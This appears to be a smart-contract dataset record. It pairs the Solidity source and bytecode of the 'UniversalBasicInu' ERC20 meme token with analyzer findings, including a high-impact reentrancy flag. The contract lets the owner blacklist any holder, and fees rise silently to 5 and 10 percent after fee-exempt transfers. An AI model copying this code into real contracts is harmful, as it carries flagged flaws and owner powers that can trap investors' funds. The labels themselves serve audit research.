01000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561170e5750600f60179054906101000a900460ff165b156117be5760105481111561172257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061176d57600080fd5b601e4261177a9190612dd1565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118695750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118bf5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576002600a819055506008600b819055505b60006118e030610818565b9050600f60159054906101000a900460ff1615801561194d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119655750600f60169054906101000a900460ff165b1561198d5761197381611b6c565b6000479050600081111561198b5761198a47611a03565b5b505b505b61199a838383611df4565b505050565b60008383111582906119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de9190612b39565b60405180910390fd5b50600083856119f69190612eb2565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a53600284611e0490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a7e573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611acf600284611e0490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611afa573d6000803e3d6000fd5b5050565b6000600854821115611b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3c90612b7b565b60405180910390fd5b6000611b4f611e4e565b9050611b648184611e0490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ba457611ba3613087565b5b604051908082528060200260200182016040528015611bd25781602001602082028036833780820191505090505b5090503081600081518110611bea57611be9613058565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8c57600080fd5b505afa158015611ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc491906125f3565b81600181518110611cd857611cd7613058565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d3f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111cf565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611da3959493929190612cb6565b600060405180830381600087803b158015611dbd57600080fd5b505af1158015611dd1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dff838383611e79565b505050565b6000611e4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612044565b905092915050565b6000806000611e5b6120a7565b91509150611e728183611e0490919063ffffffff16565b9250505090565b600080600080600080611e8b87612109565b955095509550955095509550611ee986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fca81612219565b611fd484836122d6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120319190612c9b565b60405180910390a3505050505050505050565b6000808311829061208b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120829190612b39565b60405180910390fd5b506000838561209a9190612e27565b9050809150509392505050565b600080600060085490506000683635c9adc5dea0000090506120dd683635c9adc5dea00000600854611e0490919063ffffffff16565b8210156120fc57600854683635c9adc5dea00000935093505050612105565b81819350935050505b9091565b60008060008060008060008060006121268a600a54600b54612310565b9250925092506000612136611e4e565b905060008060006121498e8787876123a6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061199f565b905092915050565b60008082846121ca9190612dd1565b90508381101561220f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220690612bbb565b60405180910390fd5b8091505092915050565b6000612223611e4e565b9050600061223a828461242f90919063ffffffff16565b905061228e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122eb8260085461217190919063ffffffff16565b600881905550612306816009546121bb90919063ffffffff16565b6009819055505050565b60008060008061233c606461232e888a61242f90919063ffffffff16565b611e0490919063ffffffff16565b905060006123666064612358888b61242f90919063ffffffff16565b611e0490919063ffffffff16565b9050600061238f82612381858c61217190919063ffffffff16565b61217190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123bf858961242f90919063ffffffff16565b905060006123d6868961242f90919063ffffffff16565b905060006123ed878961242f90919063ffffffff16565b9050600061241682612408858761217190919063ffffffff16565b61217190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561244257600090506124a4565b600082846124509190612e58565b905082848261245f9190612e27565b1461249f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249690612bdb565b60405180910390fd5b809150505b92915050565b60006124bd6124b884612d50565b612d2b565b905080838252602082019050828560208602820111156124e0576124df6130bb565b5b60005b8581101561251057816124f6888261251a565b8452602084019350602083019250506001810190506124e3565b5050509392505050565b6000813590506125298161337f565b92915050565b60008151905061253e8161337f565b92915050565b600082601f830112612559576125586130b6565b5b81356125698482602086016124aa565b91505092915050565b60008135905061258181613396565b92915050565b60008151905061259681613396565b92915050565b6000813590506125ab816133ad565b92915050565b6000815190506125c0816133ad565b92915050565b6000602082840312156125dc576125db6130c5565b5b60006125ea8482850161251a565b91505092915050565b600060208284031215612609576126086130c5565b5b60006126178482850161252f565b91505092915050565b60008060408385031215612637576126366130c5565b5b60006126458582860161251a565b92505060206126568582860161251a565b9150509250929050565b600080600060608486031215612679576126786130c5565b5b60006126878682870161251a565b93505060206126988682870161251a565b92505060406126a98682870161259c565b9150509250925092565b600080604083850312156126ca576126c96130c5565b5b60006126d88582860161251a565b92505060206126e98582860161259c565b9150509250929050565b600060208284031215612709576127086130c5565b5b600082013567ffffffffffffffff811115612727576127266130c0565b5b61273384828501612544565b91505092915050565b600060208284031215612752576127516130c5565b5b600061276084828501612572565b91505092915050565b60006020828403121561277f5761277e6130c5565b5b600061278d84828501612587565b91505092915050565b6000806000606084860312156127af576127ae6130c5565b5b60006127bd868287016125b1565b93505060206127ce868287016125b1565b92505060406127df868287016125b1565b9150509250925092565b60006127f58383612801565b60208301905092915050565b61280a81612ee6565b82525050565b61281981612ee6565b82525050565b600061282a82612d8c565b6128348185612daf565b935061283f83612d7c565b8060005b8381101561287057815161285788826127e9565b975061286283612da2565b925050600181019050612843565b5085935050505092915050565b61288681612ef8565b82525050565b61289581612f3b565b82525050565b60006128a682612d97565b6128b08185612dc0565b93506128c0818560208601612f4d565b6128c9816130ca565b840191505092915050565b60006128e1602383612dc0565b91506128ec826130db565b604082019050919050565b6000612904602a83612dc0565b915061290f8261312a565b604082019050919050565b6000612927602283612dc0565b915061293282613179565b604082019050919050565b600061294a601b83612dc0565b9150612955826131c8565b602082019050919050565b600061296d602183612dc0565b9150612978826131f1565b604082019050919050565b6000612990602083612dc0565b915061299b82613240565b602082019050919050565b60006129b3602983612dc0565b91506129be82613269565b604082019050919050565b60006129d6602583612dc0565b91506129e1826132b8565b604082019050919050565b60006129f9602483612dc0565b9150612a0482613307565b604082019050919050565b6000612a1c601783612dc0565b9150612a2782613356565b602082019050919050565b612a3b81612f24565b82525050565b612a4a81612f2e565b82525050565b6000602082019050612a656000830184612810565b92915050565b6000604082019050612a806000830185612810565b612a8d6020830184612810565b9392505050565b6000604082019050612aa96000830185612810565b612ab66020830184612a32565b9392505050565b600060c082019050612ad26000830189612810565b612adf6020830188612a32565b612aec604083018761288c565b612af9606083018661288c565b612b066080830185612810565b612b1360a0830184612a32565b979650505050505050565b6000602082019050612b33600083018461287d565b92915050565b60006020820190508181036000830152612b53818461289b565b905092915050565b60006020820190508181036000830152612b74816128d4565b9050919050565b60006020820190508181036000830152612b94816128f7565b9050919050565b60006020820190508181036000830152612bb48161291a565b9050919050565b60006020820190508181036000830152612bd48161293d565b9050919050565b60006020820190508181036000830152612bf481612960565b9050919050565b60006020820190508181036000830152612c1481612983565b9050919050565b60006020820190508181036000830152612c34816129a6565b9050919050565b60006020820190508181036000830152612c54816129c9565b9050919050565b60006020820190508181036000830152612c74816129ec565b9050919050565b60006020820190508181036000830152612c9481612a0f565b9050919050565b6000602082019050612cb06000830184612a32565b92915050565b600060a082019050612ccb6000830188612a32565b612cd8602083018761288c565b8181036040830152612cea818661281f565b9050612cf96060830185612810565b612d066080830184612a32565b9695505050505050565b6000602082019050612d256000830184612a41565b92915050565b6000612d35612d46565b9050612d418282612f80565b919050565b6000604051905090565b600067ffffffffffffffff821115612d6b57612d6a613087565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ddc82612f24565b9150612de783612f24565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e1c57612e1b612ffa565b5b828201905092915050565b6000612e3282612f24565b9150612e3d83612f24565b925082612e4d57612e4c613029565b5b828204905092915050565b6000612e6382612f24565b9150612e6e83612f24565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ea757612ea6612ffa565b5b828202905092915050565b6000612ebd82612f24565b9150612ec883612f24565b925082821015612edb57612eda612ffa565b5b828203905092915050565b6000612ef182612f04565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f4682612f24565b9050919050565b60005b83811015612f6b578082015181840152602081019050612f50565b83811115612f7a576000848401525b50505050565b612f89826130ca565b810181811067ffffffffffffffff82111715612fa857612fa7613087565b5b80604052505050565b6000612fbc82612f24565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fef57612fee612ffa565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61338881612ee6565b811461339357600080fd5b50565b61339f81612ef8565b81146133aa57600080fd5b50565b6133b681612f24565b81146133c157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aded24acc8747024cdfc1aaa9191f5a0a209e8e527d06d7fd6b91851edcbaf4664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,978 |
0x8f213d97b39d6312c6316ac2c1c675aa4d9fd757
|
//Telegram https://t.me/universalbasicinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UniversalBasicInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "UniversalBasicInu";
string private constant _symbol = "UBI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601181526020017f556e6976657273616c4261736963496e75000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f820